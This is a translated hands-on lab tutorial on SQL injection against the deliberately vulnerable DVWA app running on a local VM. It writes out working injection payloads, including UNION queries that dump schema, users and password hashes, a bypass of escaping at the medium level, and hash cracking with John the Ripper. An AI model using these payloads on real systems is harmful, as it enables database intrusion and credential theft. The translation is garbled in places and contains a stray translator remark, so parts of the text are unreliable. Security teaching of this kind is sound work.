1. Course Overview
This course is structured as a hands-on lab tutorial. To enhance understanding of certain operations during experiments, it includes theoretical content and carefully selected article recommendations. By practicing hands-on, youâll also strengthen your theoretical foundation. For example, SQL injection explained will be one of the key concepts covered.
Note: Due to the higher cost of configuring the cloud host for experiments, the number of uses is limited to six attempts per experiment.
2. Learning Methods
The Kali series courses on Shiyanlou consist of five training programs. This particular training program primarily focuses on web application attack methods. The course includes 20 experiments, each with detailed steps and screenshots. It is suitable for learners with a basic understanding of Linux systems who want to quickly get started with Kali penetration testing.
The recommended learning approach is hands-on practice and asking questions. After launching an experiment, follow the steps incrementally while comprehending the details of each step.
If there are any recommended reading materials at the start of the experiment, ensure to read them first before proceeding. A solid theoretical foundation is necessary for practical application.
3. Introduction to This Section
In this experiment, weâll get an initial introduction to Kali Linux and the main concepts behind penetration testing. You will need to complete the following tasks in sequence:
- Introduction to SQL Injection
- SQL Injection Basics
- SQL Injection Prevention
4. Recommended Reading
Recommended reading for this section includes the following:
5. Introduction to SQL Injection
SQL Injection, also known as SQLi, is a common vulnerability in web applications.
What is SQL Injection?
SQL injection commonly occurs when a web page contains a form through which inputs get submitted to a database query. An attacker exploits this by using SQL commands to manipulate and retrieve sensitive dataâpossibly even gaining access to a webshell. In simple terms, SQL injection exploits vulnerabilities in a program, allowing malicious SQL statements to execute.
SQL injection is generally categorized into two types:
- Regular SQL Injection
- Blind SQL Injection
The methods to launch both types of attacks are similar, but they differ in the scenarios they target. When security is lax, SQL injection errors typically display error messages, which can help identify vulnerabilities more easily; this is referred to as error-based or reflected SQL Injection. Conversely, in cases where no error information is displayed (success results in a response, while failure yields no feedback), itâs termed Blind SQL Injectionâaptly named as the attacker relies on guesswork or automated tools.
So now you know what SQL Injection is: Itâs simply the use of SQL queries to retrieve sensitive information from a database. Before starting, make sure you understand the basics of SQL commands.
6. SQL Injection Basics
6.1 Environment Setup
Similar to previous experiments, the first step is to launch the vulnerable machine and open DVWA. Then set the experimentâs security level to the lowest.
On the lab desktop, double-click the Xfce terminal to open it:
Use the following command to initiate the virtual machine for the target system: sudo virsh start Metasploitable2
Wait approximately four minutes for the virtual machine to fully initialize. Once itâs ready, open Firefox from the desktop:
Access the IP address of the target system, e.g., 192.168.122.102
:
After successfully launching the target system, accessing its IP address will display a page like this:
Click on DVWA to enter the login page. The default credentials are admin
and password
. Once logged in, youâll see a page like this:
To perform the simplest attack, set the security level to the lowest. Access the security settings page:
Then set the security level to âlowâ:
When you see the Level at the bottom of the page has changed, it means the modification was successful:
6.2 SQL Injection
After setting up the testing environment, we now navigate to the SQL Injection module provided by DVWA:
This is an environment where user information is queried through a User ID. Letâs quickly test its functionality:
By entering 1
into the input box and submitting, we get the following result:
We see that it simply queries the userâs first and last name via the ID number.
Next, when we input a '
(a single quotation mark) and submit, we are redirected to an error page. The error indicates that MySQL is used in the backend, and the query syntax is incorrect.
While we already know that DVWA employs a PHP + MySQL framework, receiving such a message in an unfamiliar system can be highly valuable.
Additionally, we recognize this as a potential injection point with reflective behavior.
By using the browserâs back button, we return to the previous page.
Letâs try inputting the following SQL payload:
' or 1=1#
We now see the names of all users returned.
Why does this happen?
Without accessing the source code, we can hypothesize that the query may look like this:
SELECT First_name, surname FROM some_table WHERE id = 'value_from_input'
Since the results include âFirst_nameâ and âsurname,â these are likely the table columns queried. The table is presumably a user table, and the WHERE clause filters the results based on the input ID.
When we input 1
, the query becomes:
SELECT First_name, surname FROM some_table WHERE id = '1'
This query executes successfully, returning the desired results. However, when we input a single quote '
, the query changes to:
SELECT First_name, surname FROM some_table WHERE id = '''
This query contains a syntax error, as the unmatched single quote breaks the statement, leading MySQL to reject it.
When we input ' or 1=1#
, the query transforms into:
SELECT First_name, surname FROM some_table WHERE id = '' or 1=1#'
sql
SELECT First_name, surname FROM some_table WHERE id = â or 1=1 union select null,version() #â
The initial part is the same as last time: matching the single quote, followed by the or 1=1
condition for multiple criterion queries. Here, the UNION
keyword was used to merge results from multiple SELECT
statements. Duplicate results are automatically excluded by default.
The built-in system function version()
allows querying the MySQL version. Because the first SELECT
statement requests two fields, a corresponding placeholder (in this case, null
) was added before version()
to ensure consistency. This reveals the MySQL version.
Knowing the version helps tailor SQL injection payloads to exploit vulnerabilities specific to older versions. For instance, one could potentially use tools like Metasploit Framework (MSF) to further the attack.
Similarly, the SQL query can retrieve the MySQL user executing these statements:
sql
SELECT First_name, surname FROM some_table WHERE id = â or 1=1 union select null,user() #â
In this case, we see that the logged-in user is root
, which has full administrative privileges over the MySQL instance.
Additionally, attackers can discover all users in the MySQL database as follows:
sql
â or 1=1 union select null,User from mysql.user #
For brevity, further extensions of user information extraction are omitted.
The current database name can also be obtained using:
sql
â or 1=1 union select null,database() #
Similarly, all table names in the database can be queried:
sql
â or 1=1 union select null, table_name from information_schema.tables #
To narrow down results to tables in the dvwa
database (based on the information obtained earlier):
sql
â or 1=1 union select null, table_name from information_schema.tables where table_schema=âdvwaâ #
After identifying the table names, individual table columns can also be revealed. For example, a query to list all columns in the users
table could look like this:
sql
â or 1=1 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = âusersâ #
In this query, the concat()
function concatenates multiple strings. Here, it combines the table name and column name. The value 0x0a
represents a newline character (/n
), making the output more readable by separating table names from column names â a more user-friendly approach.
Armed with the table and column names, we can refine our earlier guesswork and build a more complete query:
sql
SELECT first_name,last_name FROM users WHERE user_id = âretrieved_inputâ
Finally, we can verify our hypothesis by examining the data in the original tables:
â
The text retains the necessary technical terminology and examples for an American English-speaking audience, while excluding unnecessary Chinese characters or structure to enhance readability. Let me know if further clarification is needed!
Since we can access information about all entries in the table, can we also display the contents of each table entry?
' or 1=1 union select null,concat(user_id,0x0a,first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
From the results, we can see that the passwords are a combination of random numbers and letters. However, when we log in, such as with the user âadmin,â the password does not appear in this format. Clearly, the passwords have been hashed for additional security before being stored. In MySQL, both one-way and two-way encryption methods are common: MD5 is most often used for one-way encryption, while ENCODE() and DENCODE() are commonly used for two-way encryption.
Short passwords are relatively easy to crack. Letâs try cracking them. First, we copy all usernames and passwords into a text file (using Kali Linux):
vim password.txt
Save the file in the following format:
Then, use John the Ripper to crack the passwords:
john --format=raw-MD5 password.txt
We can see that we successfully cracked the default passwords for all users. We can then use these credentials to log in and verify their validity.
Kali Linux includes a free and open-source password-cracking tool called John the Ripper. Itâs a fast password recovery tool designed to crack plaintext passwords from known ciphertext using algorithms such as DES, MD5, and others.
John the Ripper supports both dictionary-based and brute-force cracking approaches. By default, the dictionary file is located at
/usr/share/john/password.lst
.
This demonstrates a simple manual SQL injection process. The key lies in identifying injection points and determining the proper method to escalate access step by step.
7. Prevention of SQL Injection
When we set the Security Level to âMedium,â we notice that the earlier method no longer works. For instance, entering ' or 1=1 #
redirects us to a page displaying a syntax error. Feel free to try it out yourself.
Examining the source code reveals minimal changes compared to the âLowâ security level. However, upon closer inspection, we see this:
After the input is received, it is not directly passed to the query statementâs variable, unlike in the âLowâ security level. Instead, it is first processed by the mysql_real_escape_string()
function.
The mysql_real_escape_string()
function escapes special characters in SQL statements, such that special characters like '
(single quote) and \
(backslash) are sanitized. As a result, the injection fails when these characters are used, producing syntax errors instead.
However, to bypass this, we can write the query without including any special characters affected by escaping. For example:
1 or 1=1
This query still allows an injection and successfully returns results.
This shows that any unaffected special characters will still exploit the vulnerability, such as avoiding '
(single quote) and \
(backslash).
We can also try the following query:
1 or 1=1 union select null,concat(user_id,0x0a,first_name,0x0a,last_name,0x0a,user,0x0a,password) from users
The results still appear unaffected, suggesting a lack of additional advanced protections. If we raise the Security Level to âHigh,â no results are returned.
When entering '
(a single quote), there is no feedback at allânot even an error message. Let us compare this to the code for the âMediumâ security level:
One critical aspect here is determining whether the obtained string is a number or a numeric string using is_numeric()
. Since executing SQL statements cannot be achieved purely with numeric values, this method perfectly resolves the SQL injection issue.
11. Summary
In this section, we covered the following topics. If you have any uncertainties, feel free to discuss them with us on the Shiyanlou Q&A platform:
- Introduction to SQL Injection
- Initial SQL Injection Exploration
- SQL Injection Mitigation Techniques
Be sure to practice completing the entire experiment on your own. Reading the material may seem simple, but youâll encounter various challenges during hands-on implementation. Tackling these issues is where the real learning happens.
12. Homework
- Use the Mutillidae environment to carry out an SQL injection experiment.